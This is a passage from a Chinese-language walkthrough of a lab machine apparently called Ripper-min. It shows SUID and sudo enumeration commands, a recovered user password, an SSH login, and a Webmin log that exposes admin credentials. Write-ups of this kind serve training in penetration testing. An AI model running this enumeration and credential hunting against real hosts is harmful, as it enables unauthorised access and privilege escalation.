# 查看用户信息与权限
id
sudo -l
# SUID越权查找可疑文件
find / -perm -4000 -type f 2>/dev/null
# 查看是否有隐藏后门文件
find . -name ".*" -type f
当前登陆的用户没有相应信息,那就换成cubes用户试试:find / -user cubes -type f 2>/dev/null 最终也是通过SUID发现了点线索:
查看 /mnt/secret.file文件内容:
可以得到cubes用户的密码:Il00tpeople
水平横向:cubes用户远程登陆
这里我们再打开一个终端窗口用来登陆cubes用户:
bash复制代码
# ssh登陆
ssh cubes@192.168.56.121
Il00tpeople
成功登陆:
随后开始信息收集:
查看一下历史命令:history
历史命令分析(得到Webmin密码)
频繁操作 /var/webmin/
多次进入 /var/webmin/、查看目录、创建 backup 文件夹
查看日志:miniserv.log、miniserv.error、blocked
复制错误日志到备份目录
→ 明显在排查/操作 Webmin 面板相关日志与配置
在 /mnt 目录编辑敏感文件(这就是cubes用户的密码)
nano s.txt
nano secret.file
针对上述行为,我们可以去到该目录 /var/webmin/backup 进一步的查看:
过程:
查看该文件内容,得到root用户的账户以及密码:
看不清楚?我帮大家把内容贴出来:
bash复制代码
cubes@ripper-min:/var/webmin/backup$ cat miniser.log
[04/Jun/2021:11:21:48 -0400] miniserv.pl started
[04/Jun/2021:11:21:48 -0400] IPv6 support enabled
[04/Jun/2021:11:21:48 -0400] Using MD5 module Digest::MD5
[04/Jun/2021:11:21:48 -0400] Using SHA512 module Crypt::SHA
[04/Jun/2021:11:21:48 -0400] Perl module Authen::PAM needed for PAM is not installed : Can't locate Authen/PAM.pm in @INC (you may need to install the Authen::PAM module) (@INC contains: /root/webmin-1.910 /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.26.1 /usr/local/share/perl/5.26.1 /usr/lib/x86_64-linux-gnu/perl5/5.26 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.26 /usr/share/perl/5.26 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) at (eval 15) line 1.
BEGIN failed--compilation aborted at (eval 15) line 1.
[04/Jun/2021:11:33:16 -0400] [10.0.0.154] Authentication : session_login.cgi=username=admin&pass=tokiohotel
[04/Jun/2021:11:33:16 -0400] [10.0.0.154] Document follows : This web server is running in SSL mode. Try the URL <a href='https://ripper-min:10000/'>https://ripper-min:10000/</a> instead.<br>
[04/Jun/2021:11:33:16 -0400] [10.0.0.154] Document follows : This web server is running in SSL mode. Try the URL <a href='https://ripper-min:10000/'>https://ripper-min:10000/</a> instead.<br>
[04/Jun/2021:11:33:29 -0400] Reloading configuration
[04/Jun/2021:11:33:39 -0400] Reloading configuration
Use of uninitialized value in numeric ne (!=) at /root/webmin-1.910/bind8/bind8-lib.pl line 2397.
Use of uninitialized value $ip in concatenation (.) or string at /root/webmin-1.910/system-status/system_info.pl line 39.
Use of uninitialized value $mode in chop at /root/webmin-1.910/webmin/webmin-lib.pl line 1762.
Use of uninitialized value in string eq at /root/webmin-1.910/webmin/webmin-lib.pl line 656.
Use of uninitialized value in string eq at /root/webmin-1.910/webmin/webmin-lib.pl line 656.
Use of uninitialized value $ip in concatenation (.) or string at /root/webmin-1.910/system-status/system_info.pl line 39.
Use of uninitialized value $mode in chop at /root/webmin-1.910/webmin/webmin-lib.pl line 1762.
Use of uninitialized value in string eq at /root/webmin-1.910/webmin/webmin-lib.pl line 656.